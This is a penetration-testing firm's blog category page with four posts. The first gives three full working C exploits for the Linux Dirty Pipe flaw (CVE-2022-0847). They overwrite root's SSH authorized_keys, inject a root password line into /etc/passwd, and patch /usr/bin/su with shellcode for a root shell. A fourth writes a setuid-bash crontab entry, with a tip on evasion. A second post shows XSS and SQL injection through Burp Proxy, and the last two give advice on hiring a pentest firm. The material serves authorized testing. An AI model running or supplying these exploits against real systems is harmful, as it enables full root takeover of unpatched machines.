Category: How To

  • Exploiting Dirty Pipe (CVE-2022-0847)

    The vulnerability described in CVE-2022-0847 allows any user to write to files that are read-only. This includes writing to files that are owned by root, allowing privilege escalation.

    Editor’s note: This blog post and associated code provided below are intended for use only by qualified professionals with written permission to test networks for vulnerabilities. To perform these operations without authorization is illegal.

    This articles describes four ways to exploit the so-called “Dirty Pipe” vulnerability by:

    1. Writing ssh keys to root’s authorized keys file
    2. Overwriting a setuid binary to give shell
    3. Writing to /etc/passwd
    4. Writing to a cron job to give access

    Note: The code has been modified from the original author to accomplish each of these tasks.

    For the exploits to work they need to overwrite information in the file. Any data already there is going to be overwritten, so take care to save a backup of the file. Also, you do need to have read privileges on the file for the exploit to work.

    Authorized Keys

    Default Linux installations that have the /root folder permissions restrict other users from reading it. There are exceptions, however, and a readable /root folder can be used to get to other users’ authorized keys.

    The first step is to check if the /root/.ssh/authorized_keys file is readable. The exploit writes to this file, so making a backup is prudent before taking any action.

    Reading and backing up root’s authorized keys

    The next step is to create an exploit to overwrite the public key in the /root/.ssh/authorized_keys file with one of an attacker’s choosing. To do this, you’ll need to get a file descriptor to the /root/.ssh/authorized_keys file.

    Opening a file descriptor to root’s authorized_keys

    If an SSH key does not already exist, the attacker must create one using ssh- keygen. Note that the algorithm and the length must match that of the existing key already in the root folder because this exploit cannot make the file larger.

    Generating new ssh-key for exploit

    Add the key to the exploit code as a variable to overwrite the public key that is in authorized keys for the victim user. Note that, during the exploit, the first byte will be preserved. Remove the first “s” from the ssh-rsa value to accommodate this behavior.

    Adding The ssh key to the exploit code

    Below is the complete code to exploit this vulnerability by overwriting the /root/.ssh/authorized_keys file. This attack is not limited to the root account; it could be used to compromise any user where authorized_keys file can be read.

    Full Authorized Key Exploit Code
    #define _GNU_SOURCE
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/stat.h>
    #include <sys/user.h>
    
    #ifndef PAGE_SIZE
    #define PAGE_SIZE 4096
    #endif
    
    /**
     * Create a pipe where all "bufs" on the pipe_inode_info ring have the
     * PIPE_BUF_FLAG_CAN_MERGE flag set.
     */
    static void prepare_pipe(int p[2])
    {
        if (pipe(p)) abort();
    
        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];
    
        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            write(p[1], buffer, n);
            r -= n;
        }
    
        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            read(p[0], buffer, n);
            r -= n;
        }
    
        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
    }
    
    int main(int argc, char **argv)
    {
        /* open roots authorized_keys file*/
        const char* path = "/root/.ssh/authorized_keys";
        const int fd = open(path, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
            perror("open failed");
            return EXIT_FAILURE;
        }
    
        /*Change this key to your key created with ssh-keygen*/
        /*Due to how the offsets work make sure to remove the first s of ssh-rsa*/
        const char* new_key = "sh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCXXiSefiZJikyRlDX4f37G++VPni7URUVMgG5sRMq1BUOHAATBm+7n+JPe3/+cViimEOqRH3cI73OvGQz+NwJfVSrlRjxSzkOted36omqUkqDWOmbzaKSirKruj6oQltQ5keN3/opkvHbBturI/L0hB8rgaDPq35LfiaE1LRu/H5KGYib4B0oVnVbJ33u8/Y54Cwld7zIKTKdanvPwu2lmV0swYXuQHv3ydJAWMh/9HdFslj9BM43NsVakTqHBJ0qdC11tww0gieKMJlPgJYKCjW+2uahPYXsDNjW0+wl2wxxSqZnkBFFwsX5gahKwmxGVQLRX7rtYJ1Mnzu+ZdxlhQBy+lUsiWtfbdlj+i0tsO3zO2b9k2a6sXTpGzEYaQ9+nUnbpB3Ih5i2Oc3uimS0n2BbrynUKLzha5FmqW7uc+ZQGmkBy06pSHN2q39MhzmoluYFbVcb4lWgr1tUjoWh18WWHG+YM0ybj88DNhkFP3LYfj1WI/9YKrU0SxAAjxvU=\n";
        const size_t new_key_size = strlen(new_key);
    
        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);
    
        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        long int offset = 0;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
            perror("splice failed");
            return EXIT_FAILURE;
        }
        if (nbytes == 0) {
            fprintf(stderr, "short splice\n");
            return EXIT_FAILURE;
        }
    
        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], new_key, new_key_size);
        if (nbytes < 0) {
            perror("write failed");
            return EXIT_FAILURE;
        }
        if ((size_t)nbytes < new_key_size) {
            fprintf(stderr, "short write\n");
            return EXIT_FAILURE;
        }
    
        printf("It worked!\n");
        return EXIT_SUCCESS;
    }

    After compiling and running the exploit, all that’s left is to login with the key and fix it so all other users can still login.

    Logging in as root with the new public key
    Passwd

    In this case we will open the /etc/passwd file and change the contents in order to change the root user’s password to something we know. This will overwrite the file so creating a backup is prudent before performing any overwrite actions.

    Code used to backup passwd. (Complete code block included below)

    The copy_file function was ported from a published dirtyCOW exploit by FireFart.

    After backing up the file, generate a passwd value in the correct format.

    Code to generate the new passwd line. (Complete code block follows)
    Full passwd Exploit Code
    /*Link with -lcrypt when compiling*/
    #define _GNU_SOURCE
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <unistd.h>
    
    #ifndef PAGE_SIZE
    #define PAGE_SIZE 4096
    #endif
    
    /**
     * Create a pipe where all "bufs" on the pipe_inode_info ring have the
     * PIPE_BUF_FLAG_CAN_MERGE flag set.
     */
    static void prepare_pipe(int p[2])
    {
        if (pipe(p)) abort();
    
        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];
    
        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            write(p[1], buffer, n);
            r -= n;
        }
    
        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            read(p[0], buffer, n);
            r -= n;
        }
    
        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
    }
    
    int copy_file(const char *from, const char *to) {
      // check if target file already exists
      if(access(to, F_OK) != -1) {
        printf("File %s already exists! Please delete it and run again\n",
          to);
        return -1;
      }
    
      char ch;
      FILE *source, *target;
    
      source = fopen(from, "r");
      if(source == NULL) {
        return -1;
      }
      target = fopen(to, "w");
      if(target == NULL) {
         fclose(source);
         return -1;
      }
    
      while((ch = fgetc(source)) != EOF) {
         fputc(ch, target);
       }
    
      printf("%s successfully backed up to %s\n",
        from, to);
    
      fclose(source);
      fclose(target);
    
      return 0;
    }
    
    int main(int argc, char **argv)
    {
        const char* filename = "/etc/passwd";
        const char* backupname = "/tmp/passwd.bak";
    
        int temp = copy_file(filename, backupname);
        if (temp == -1) {
            return 1;
        }
    
        /*Change the password to whatever you want the new root user's password to be.*/
        const char* newPassword = "SecurePassword";
        const char* salt = "Salt";
    
        char* passwordHash = crypt(newPassword, salt);
    
        printf("%s\n", passwordHash);
        char generatedLine[400];
        sprintf(generatedLine, "oot:%s:0:0:Pwned:/root:/bin/bash\n", passwordHash);
        printf("New passwd line: %s", generatedLine);
    
        /* open the input file and validate the specified offset */
        const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
            perror("open failed");
            return EXIT_FAILURE;
        }
    
        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);
    
        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        long int offset = 0;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
            perror("splice failed");
            return EXIT_FAILURE;
        }
        if (nbytes == 0) {
            fprintf(stderr, "short splice\n");
            return EXIT_FAILURE;
        }
    
        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], generatedLine, strlen(generatedLine));
        if (nbytes < 0) {
            perror("write failed");
            return EXIT_FAILURE;
        }
        if ((size_t)nbytes < strlen(generatedLine)) {
            fprintf(stderr, "short write\n");
            return EXIT_FAILURE;
        }
    
        printf("It worked!\n");
        printf("You can now login with root:%s\n", newPassword);
        return EXIT_SUCCESS;
        
    }

    At this point the exploit works as before; configure the appropriate pipe and insert the data to be written to the /etc/passwd file. As before, remove the first character of the string and then compile and run. Head is used to confirm /etc/passwd has changed, resulting in root’s password being changed to our controlled value. The complete exploit to overwrite the /etc/passwd file is shown below.

    Running exploit and logging in as root
    SetUID

    If the /root/.ssh/authorized_keys file is unwritable, we can use a setuid binary to overwrite it with a binary that will give us a root shell.

    First it’s necessary to create a binary that will instantiate a shell. This is fairly straight forward. It requires creation of a program that is a setuid program owned by root. This is necessary for the attack to successfully escalate privileges.

    Msfvenom is a popular utility for creating exploit binaries and can be used to create the shellcode for this attack.

    Creating an elf file with Msfvenom

    From there, convert the binary data to a hexadecimal representation using Python’s binascii library.

    Getting the hexdump of the new elf file

    Use the find utility to locate suitable root-owned setuid binaries for targeting.

    Find command to locate SUID binaries

    For our purposes, we will overwrite the su binary. The replacement code launches a shell and sets the uid (UserID) and gid (GroupID) to 0 (root’s). Here is the character array of the shell code that we dumped using the xxd utility.

    Array of bytes representing the shellcode used to patch the binary. (Complete code block included below)

    As before, comment out the first byte since that will be coming from the file on disk.

    As a best practice, backup the binary you choose to overwrite prior to performing the attack, and then compile the program and run it. Sha1sum is used below to confirm that the binary has changed. Once that’s complete, execute the program to get a root shell.

    Running exploit and using the patched SU binary to gain root access. (Complete code block follows)
    Full SetUID Exploit Code
    #define _GNU_SOURCE
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/stat.h>
    #include <sys/user.h>
    
    #ifndef PAGE_SIZE
    #define PAGE_SIZE 4096
    #endif
    
    /**
     * Create a pipe where all "bufs" on the pipe_inode_info ring have the
     * PIPE_BUF_FLAG_CAN_MERGE flag set.
     */
    static void prepare_pipe(int p[2])
    {
        if (pipe(p)) abort();
    
        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];
    
        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            write(p[1], buffer, n);
            r -= n;
        }
    
        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            read(p[0], buffer, n);
            r -= n;
        }
    
        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
    }
    
    int main(int argc, char **argv)
    {
        const char* filename = "/usr/bin/su";
        /*Elf file generated with msfvenom*/
        unsigned char elfcode[] = {
            /*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 
            0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 
            0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 
            0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 
            0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 
            0x00, 0x9d, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xc2, 0x00, 
            0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 
            0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 
            0x48, 0x31, 0xff, 0x6a, 0x6a, 0x58, 0x0f, 0x05, 0x48, 0xb8, 0x2f, 
            0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x99, 0x50, 0x54, 0x5f, 
            0x52, 0x5e, 0x6a, 0x3b, 0x58, 0x0f, 0x05
        };
    
        u_int8_t *data = elfcode;
    
        const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
        if (fd < 0) {
            perror("open failed");
            return EXIT_FAILURE;
        }
    
        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);
    
        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        long int offset = 0;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
            perror("splice failed");
            return EXIT_FAILURE;
        }
        if (nbytes == 0) {
            fprintf(stderr, "short splice\n");
            return EXIT_FAILURE;
        }
    
        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], elfcode, sizeof(elfcode));
        if (nbytes < 0) {
            perror("write failed");
            return EXIT_FAILURE;
        }
        if ((size_t)nbytes < sizeof(data)) {
            fprintf(stderr, "short write\n");
            return EXIT_FAILURE;
        }
    
        printf("It worked!\n");
        return EXIT_SUCCESS;
    }
    Cron Job

    /etc/crontab is readable. Here we can add a new job that will copy bash to another location. Then we will set the copy with a setuid bit, allowing for execution as root.

    The below command sets a job that will copy the bash program to a .bak file and set the sticky bit.

    Cron job that will be used in exploit. (Full exploit code included below)

    As before, back up the file just in case something happens.

    Backing up the /etc/crontab

    For purposes of evasion, it may be helpful to minimize modifications to the beginning of the file .

    Here is the entire line used to write to /etc/crontab:

    Entire entry to be used in the exploit

    The space at the beginning is used to line up with the original line. Also, the first “#” will be included from the original file.

    Sha1sum again is used to verify the file changes:

    Running exploit and seeing the crontab file changed

    All that’s needed now is to run bash -p which will keep the root privileges:

    Using the new SUID bash binary to get root access
    Full Cron Jon Exploit Code:
    #define _GNU_SOURCE
    #include <unistd.h>
    #include <fcntl.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/stat.h>
    #include <sys/user.h>
    
    #ifndef PAGE_SIZE
    #define PAGE_SIZE 4096
    #endif
    
    /**
     * Create a pipe where all "bufs" on the pipe_inode_info ring have the
     * PIPE_BUF_FLAG_CAN_MERGE flag set.
     */
    static void prepare_pipe(int p[2])
    {
        if (pipe(p)) abort();
    
        const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
        static char buffer[4096];
    
        /* fill the pipe completely; each pipe_buffer will now have
           the PIPE_BUF_FLAG_CAN_MERGE flag */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            write(p[1], buffer, n);
            r -= n;
        }
    
        /* drain the pipe, freeing all pipe_buffer instances (but
           leaving the flags initialized) */
        for (unsigned r = pipe_size; r > 0;) {
            unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
            read(p[0], buffer, n);
            r -= n;
        }
    
        /* the pipe is now empty, and if somebody adds a new
           pipe_buffer without initializing its "flags", the buffer
           will be mergeable */
    }
    
    int main(int argc, char **argv)
    {
        const char* filename = "/etc/crontab";
    
        const char* crontab_line = " /etc/crontab: system-wide crontab\n# Unlike any other crontab you don't have to run the `crontab'\n# command to install the new version when you edit this file\n# and files in /etc/cron.d. These files also have username fields,\n# that none of the other crontabs do.\n\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *\troot\tcp /usr/bin/bash /tmp/bash.bak; chmod u+s /tmp/bash.bak\n#.";
    
        /* open the input file and validate the specified offset */
        const int fd = open(filename, O_RDONLY); // yes, read-only! :-)
    
        /* create the pipe with all flags initialized with
           PIPE_BUF_FLAG_CAN_MERGE */
        int p[2];
        prepare_pipe(p);
    
        /* splice one byte from before the specified offset into the
           pipe; this will add a reference to the page cache, but
           since copy_page_to_iter_pipe() does not initialize the
           "flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
        long int offset = 0;
        ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
        if (nbytes < 0) {
            perror("splice failed");
            return EXIT_FAILURE;
        }
        if (nbytes == 0) {
            fprintf(stderr, "short splice\n");
            return EXIT_FAILURE;
        }
    
        /* the following write will not create a new pipe_buffer, but
           will instead write into the page cache, because of the
           PIPE_BUF_FLAG_CAN_MERGE flag */
        nbytes = write(p[1], crontab_line, strlen(crontab_line));
        if (nbytes < 0) {
            perror("write failed");
            return EXIT_FAILURE;
        }
        if ((size_t)nbytes < strlen(crontab_line)) {
            fprintf(stderr, "short write\n");
            return EXIT_FAILURE;
        }
    
        printf("It worked!\n");
        return EXIT_SUCCESS;
    }

    Note that a fresh install of Debian 11 was used to create these proof-of-concept attacks. It was necessary to boot using an old kernel since the new kernel was already patched against the vulnerability. This was done by selecting the advance boot options with grub and selecting the old kernel version 5.10.0-10-amd64.

    REMINDER: This blog post and associated code provided are intended for use only by qualified professionals with written permission to test networks for vulnerabilities. To perform these operations without authorization is illegal.

     

  • Hackers See Opportunity Where You See Only a Button

    People are often surprised to find that a hacker doesn’t only attack a website through the authentication process. Our team members are experts at demonstrating why just enforcing password policies and lockout times doesn’t fully protect applications.

    In this article, we’re going to pull back the curtain and show you how hackers use web proxy tools to help exploit applications in ways you might never expect.

    How the Proxy Tool Works

    The proxy tool is software that follows the path data takes step-by-step from your device to the application server. Several such tools exist, but Burp Proxy (included in all versions of Burp Suite) is one of the most popular. Using Burp Proxy, hackers can bypass the user interface – the page you see when entering data – and change the information before it is sent to the application server. This makes it possible to avoid client-side controls, such as those that check that a phone number is only numeric or that an email address is formatted correctly. If the application server expects the client-side controls to have already validated data, the server code may not have all of the proper protections in place.

    In the image below, Burp Proxy, in “Intercept” mode, shows each step along the path that data follows from your device to an application server. The tool allows a user to tab from step to step and change the data that was input originally. If security features are built into the client (the interface you see) but not present on the application server, the proxy enables hackers to enter compliant data first, but change it however they want before it reaches the server.

    Burp Proxy in Intercept Mode shows the path your data travels

    One example of how hackers exploit this setup is through the commonly used buttons or checkboxes found in many apps. Most app developers are cautious about user input fields, but, because buttons, checkboxes, and radio buttons apparently limit data entry to “on-off” or “yes-no” choices, they often see little inherent risk. The problem is that, even though the user options are limited at the interface (client-side), they may not be limited by the code on the server itself (server-side).

    How a Proxy Tool can Reveal a Vulnerability

    The three illustrations below show how even a simple “submit” button can present opportunities for hackers.

    The choice here seems straightforward — either you click the button or you do not. But that choice masks what happens after you click “submit.”

    Save credit card information checkbox and submit button

    “Submit” is really just a request being sent to the server. Here, using Burp Proxy to intercept the data, we can see the request as it will appear to the application server.

    Unmodified GET request intercepted

    Now, rather than a simple yes-or-no choice, a user can modify the data any way they’d like and enter it by pressing the “Forward” command.

    Request modified with longer text
     How Hackers Turn the Exploit into an Attack

    With the ability to effectively bypass safeguards on the client-side interface, hackers can send information directly to the application server. Here are a couple of examples of the types of attacks they can execute if the application server is not secure. (For clarity, we’ll use text-based fields, rather than check-boxes in these examples.)

    Example 1: Cross-Site Scripting (XSS)

    Cross-site scripting (XSS) is a reflected attack that injects malicious client-side executable code into web application parameters to be returned by the application output and ultimately executed by the browser. Because it appears that the script is from a trusted source, the end-user’s browser accepts it and runs the script, permitting the attacker to take actions on the application’s behalf, such as accessing cookies and session tokens as well as other sensitive data. (Source: Raxis Glossary).

    The following walk-through demonstrate how a simple guestbook submission form request works normally and then how an attacker can use a web proxy to insert malicious code.

    This is the submission form as it appears to users:

    Guestbook submission form as it appears to web users

    Our Burp Proxy tool reveals the actual request sent to the application server:

    Captured form submission

    Here the attacker enters an innocuous submission that should not be caught by client-side injection controls:

    Attacker enters submission on web form

    And now the attacker captures the entry using Burp Proxy:

    Unmodified form submission in proxy tool

    Before allowing the proxy tool to move to the next step, the attacker replaces the original harmless data with a malicious script:

    XSS Payload inserted into form submission

    The application server, without server-side controls to stop it, accepts the script and returns the payload to the browser. This is what the attacker sees in Burp Proxy:

    JavaScript Payload Returned in Response Body

    And here we see the successful cross-site scripting result in the browser:

    XSS script executes when entry is displayed on the resulting webpage
    Example 2: SQL Injection (SQLi)

    In this attack, a SQL query is injected into the application via input parameters. A successful attack could read sensitive data from the database, modify data in the database, execute operations on the database (including administrative operations), recover files on the DBMS file system, or issue commands to the operating system. (Source: Raxis Glossary)

    Here we demonstrate how a user ID field can be manipulated to enable a SQLi attack.

    We start with a simple user ID entry field with a submit button where we enter a name and submit:

    Web form with textbox and submit button

    Again the attacker intercepts the submission using Burp Proxy en route to the application server.

    Unmodified GET request intercepted

    As above in the XSS exploit, the attacker then modifies the data in Burp Proxy, this time to include escape characters and a SQL query:

    Request modified to contain SQL injection payload

    With no server-side controls in place to stop the attack, the server returns the data requested in the SQL database query. This is what the attacker sees in Burp Proxy:

    Request returns all users from database

    And here we see the successful SQL injection result in the browser:

    All user records returned from database
    Summary

    It’s tempting here to focus on the Burp Proxy tool and its capabilities, but the more important point is to recognize that vulnerabilities can exist in places we as users might not think. Something that seems innocuous, like a simple submit or on/off button, can be manipulated by a hacker with relative ease. The same is true for any field, button, or widget that sends a request to an application server.

    Remember that the mindset of a hacker is always to look at something as it’s expected to be used, then attempt to use it differently. That’s why pentesting by skilled professionals is so important. It takes trained, ethical hackers to prevent the work of their malicious counterparts.

    Would you like to learn how Raxis can help your organization? Reach out. We have a guaranteed, no-pressure approach, and – after all – we’re all on the same side.

  • How to Hire a Penetration Testing Firm Part Two

    I’m Bonnie Smyre, Raxis’ Chief Operating Officer, back with the second in our two-part feature about how to hire a penetration testing firm. This time, we’re suggesting some questions to ask and answers to listen for in the selection process.

    Bonnie Smyre, Raxis COO

    In the first article on this topic, I focused on the six things you and your company should do to begin your search for a pentesting firm. We discussed the importance of identifying why you need a pentest, understanding the data and systems that are at risk, figuring out what type of tests you need, consulting with trusted advisors, as well as checking ratings, reviews, and references.

    If you followed those steps, you’re well-prepared to begin your interviews with prospective firms. Toward that end, here are some questions you should ask during your conversations and some key points you should be listening for in the answers.

    Question 1: What is your experience in performing the type of penetration testing our company is looking for?

    At Raxis, we’re happy to tell you how many and what kind of tests we’ve done and share with you some of our most common findings. If we don’t think the pentest you’re shopping for is going to accomplish your goals, we’ll tell you why and recommend a different type of engagement that will. That’s part of our job as professionals, and we have found that it makes for a better customer experience and often saves time and money.

    On the other hand, if the firm you’re interviewing continually tries to steer you toward more expensive testing or something far different than you think you need, that can be a big red flag. They may be trying to upsell you, or they may simply not have the expertise to conduct it.

    A point we make frequently is that vulnerability scanning is not the same as penetration testing. So, also beware of firms that try to downplay your needs and tell you one is as good as the other. Raxis might recommend a vulnerability scan, but we will never tell you that it should supplant a genuine pentest.

    Question 2: Tell me about your experience in my industry?

    Obviously similar to question 1, this one is based on your reasons for doing a penetration test. If your business is regulated and subject to special laws, rules, or industry requirements, you’ll save a lot of time with pentesters who are familiar with them. For example, if your company takes electronic payments, Raxis knows the Payment Card Industry Data Security Standards (PCI-DSS), and we can plan our testing to make sure you’re compliant.

    When you ask this question, listen to see if the pentesting company proactively mentions any applicable regulations in your field – such as HIPAA compliance for health care organizations or FINRA, GLBA, or SOX, for financial institutions. If they don’t, ask and make sure they understand your needs so that you don’t have to pay for more testing later.

    Question 3: How comprehensive is your reporting?

    The goal of penetration testing should be to give your team actionable results that enable them to prioritize issues and begin resolving them in order of severity. Ask potential pentesting firms to provide a sample report. Does it summarize the issues for executives? Does it categorize the findings effectively and provide sufficient detail for your team members?

    Raxis includes storyboards so that your team can see exactly what we did and how. We also exfiltrate and redact sensitive data when we can. That’s powerful proof of what bad guys can do if your network isn’t secured.

    Also, be sure to ask whether they report where your defenses were solid. This can be especially important when you’re building a cybersecurity budget. Many Raxis clients have found it helpful to show their leadership examples of where previous security enhancements are working well. (And it shows you that those defenses were in fact checked.)

    Question 4: Who are the people I’ll be dealing with? What are their qualifications?

    Be sure that the companies you interview can identify the person who will serve as your point of contact throughout the testing, to work with you on scheduling or to quickly resolve problems that can cost precious time.

    The company should also be willing to tell you about the experience and certifications of team members. It’s a good idea to ask whether the team that conducts your test will include members with similar qualifications so you know it’s not a bait-and-switch.

    At Raxis, the diverse skillsets our team members bring to the table are one of our greatest strengths and something we like to talk about. Before they became penetration testers, our people were corporate cybersecurity leaders, software engineers, web developers, and network admins. And they also bring to the table computer hardware, electronics, mechanical, and IoT experience.

    Question 5: How much will it cost and why?

    Raxis’ CEO Mark Puckett addressed pentest pricing in a recent blog post that goes into detail about the factors that can and should drive the cost of a high-quality penetration test. In summary, the scope of the testing, the time it will take, and the skills of the testers are all cost drivers.

    If the firm mentions additional services they provide, be sure to ask if those are covered in the cost you’ve been quoted, or if there is an additional fee. And ask if there is a minimum engagement time.

    Minimums are common in the industry. Raxis requires three days, but we’ve seen other companies with seven to 10-day minimums. Make sure you ask this early in the conversation. Otherwise, you could waste time you don’t have being sold services you don’t need.

    Conclusion

    Hiring the right penetration testing firm necessarily involves a lot of research and careful consideration. After all, you need a company that can bring to bear all the skills, determination, and devious creativity of black hat hackers – and still act as your trusted security advisor, providing actionable reporting on your vulnerabilities.

    The preparation outlined in part one, along with the questions above, should help you find the best match for your specific needs.

    Of course, we hope you choose Raxis, and we’re ready to put you in touch with our experts whenever you’re ready to talk.

     

    Want to learn more? Take a look at the first part in our How to Hire a Penetration Testing Firm Series.

  • How to Hire a Penetration Testing Firm – Part 1

    I’m Bonnie Smyre, Raxis’ Chief Operating Officer. Penetration testing is a niche in the cybersecurity field, but one that is critical to the integrity of your network and your data. This is the first of a two-part guide to help you select the right firm for your needs.

    Step 1: Identify Your Why

    There are lots of reasons why companies should routinely do penetration testing. The most important is to understand your vulnerabilities as they appear to hackers in the real world and work to harden your defenses. It may also be that your industry or profession requires testing to comply with certain laws or regulations. Or perhaps you’ve been warned about a specific, credible threat.

    Whatever your reasons for seeking help, you’ll want to look for a firm that has relevant experience. For example, if you run a medical office, you’ll need a penetration testing company that knows the ins and outs of the Health Insurance Portability and Accountability Act (HIPAA). If you’re a manufacturer with industrial control systems, you’ll need a company that understands supervisory control and data acquisition (SCADA) testing. The point is to make sure you know your why before you look for a pentest firm.

    See a term you don’t recognize? Look it up in our glossary.

    Step 2: Understand What You Have at Risk

    A closely related task is to be clear about what all you need to protect. Though it might seem obvious from the above examples, companies sometimes realize too late that they are custodians of data seemingly unrelated to their primary mission. A law firm, for instance, might receive and inadvertently store login credentials to access clients’ medical transcripts or bank accounts. Though its case files are stored on a secure server, a clever hacker could potentially steal personal identifiable information (PII) from the local hard drives.

    Step 3: Determine What Type of Test You Need

    General use of the term “pentesting” can cover a broad range of services, from almost-anything-goes red team engagements to vulnerability scans, though the latter is not a true penetration test. In last week’s post, lead penetration tester Matt Dunn discussed web application testing. There are also internal and external tests, as well as wireless, mobile, and API testing, to name a few. Raxis even offers continuous penetration testing for customers who need the ongoing assurance of security in any of these areas.

    Raxis offers several types of penetration tests depending on your company’s needs:

    Step 4: Consult Your Trusted Advisors

    Most companies have IT experts onboard or on contract to manage and maintain their information systems. You may be inclined to start your search for a penetration testing service by asking for recommendations from them – and that’s a good idea. Most consultants, such as managed service providers (MSPs), value-added resellers (VARs), and independent software vendors (ISVs), recognize the value of high-quality, independent penetration testing.

    In the case of MSPs, it might even be part of their service offerings. However, it might make sense to insist on an arm’s-length relationship between the company doing the testing and the people doing the remediation.

    If your provider is resistant to pentesting, it might be because the company is concerned that the findings will reflect poorly on its work. You can work through those issues by making it clear that you share an interest in improving security and that’s the purpose for testing.

    The downloadable PDF below includes this list of Raxis services with an explanation of what we test and and a brief explanation of how we go about it.

    Raxis Penetration Testing Services
    Step 5: Consider Ratings and Review Sites

    Another starting point – or at least a data point – is review and rating sites. This can be incredibly helpful since such sites usually include additional information about the services offered, types of customers, pricing, staffing, etc. That gives you a chance to compare the areas of expertise with the needs you identified in steps one and two. It can also introduce you to companies you might not have found otherwise.

    Here are some resources you might find helpful as a start:

    Step 6: Check References

